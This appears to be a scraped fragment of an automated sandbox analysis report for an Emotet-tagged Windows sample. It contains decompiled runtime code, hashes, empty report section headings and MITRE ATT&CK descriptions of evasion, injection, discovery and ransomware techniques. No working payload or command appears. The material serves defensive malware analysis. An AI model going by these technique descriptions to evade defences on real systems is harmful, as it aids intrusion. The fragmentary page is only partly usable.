Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: String$AllocFree
String ID: psf:PrintCapabilities/psf:Feature[substring-after(@name,':')='PageMediaSize'][name(namespace::*[.='http://schemas.microsoft.com/wi
API String ID: 344208780-162872714
Opcode ID: 9d325ea5a062461545491c2d3892e33652506d3d83288baf140c79c15bc93e68
Instruction ID: ec5cf1191d6a90bd01017eaef2335a7590b85eed1e268458297e1545e68cc58b
Opcode Fuzzy Hash: 9d325ea5a062461545491c2d3892e33652506d3d83288baf140c79c15bc93e68
Instruction Fuzzy Hash: 13210A75900208EFDB18DF98D888B9EBBB4FF48704F208198E519A7294D3759BC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0115B402, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0115B402(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t19;
				intOrPtr _t40;
				intOrPtr* _t42;
				void* _t43;

				_push(0x14);
				E01156239(E0115EC49, __ebx, __edi, __esi);
				E0115AC4C(__ebx, _t43 - 0x14, __edi, 0);
				_t40 =  *0x116b990; // 0x0
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				 *((intOrPtr*)(_t43 - 0x10)) = _t40;
				_push(E01146220(0x116b988));
				_t42 = E01146970( *((intOrPtr*)(_t43 + 8)));
				if(_t42 == 0) {
					if(_t40 == 0) {
						_push( *((intOrPtr*)(_t43 + 8)));
						_push(_t43 - 0x10);
						__eflags = E0115B7FB(__ebx, _t40, _t42, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							_push("bad cast");
							E01149FDC(_t43 - 0x20);
							E0114A12A(_t43 - 0x20, 0x1167380);
						}
						_t42 =  *((intOrPtr*)(_t43 - 0x10));
						 *0x116b990 = _t42;
						 *((intOrPtr*)( *_t42 + 4))();
						_push(_t42);
						E0115B150(__eflags);
					} else {
						_t42 = _t40;
					}
				}
				E0115ACA7(_t43 - 0x14);
				_t19 = _t42;
				return E01156216(_t19);
			}

APIs

__EH_prolog3.LIBCMT ref: 0115B409
std::_Lockit::_Lockit.LIBCPMT ref: 0115B413

Part of subcall function 01146220: std::_Lockit::_Lockit.LIBCPMT ref: 01146236

Strings

bad cast, xrefs: 0115B459

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: LockitLockit::_std::_$H_prolog3
String ID: bad cast
API String ID: 297366252-3145022300
Opcode ID: c6c7b512c380cbb3a8e63b1b81a58ddbc38153e6e7277accbed45c768690a152
Instruction ID: b9a9e82718eb7bf635d14b6f1b93c372ee937956ced118bc8d2dd5d20473b437
Opcode Fuzzy Hash: c6c7b512c380cbb3a8e63b1b81a58ddbc38153e6e7277accbed45c768690a152
Instruction Fuzzy Hash: 1301223290421ADBCF5CFBA4D840AEEB739BF14658F044519E831B7190DB318900C7A4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report PHvqpLRfRl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Function 01159723, Relevance: 20.1, APIs: 13, Instructions: 554
COMMONLIBRARYCODECrypto

Function 00811030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Function 01143BC0, Relevance: 15.2, APIs: 1, Strings: 9, Instructions: 190
memoryCOMMON

Function 01144C40, Relevance: 3.0, APIs: 2, Instructions: 33
encryptionCOMMON

Function 011442E0, Relevance: 488.0, APIs: 324, Strings: 1, Instructions: 463
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre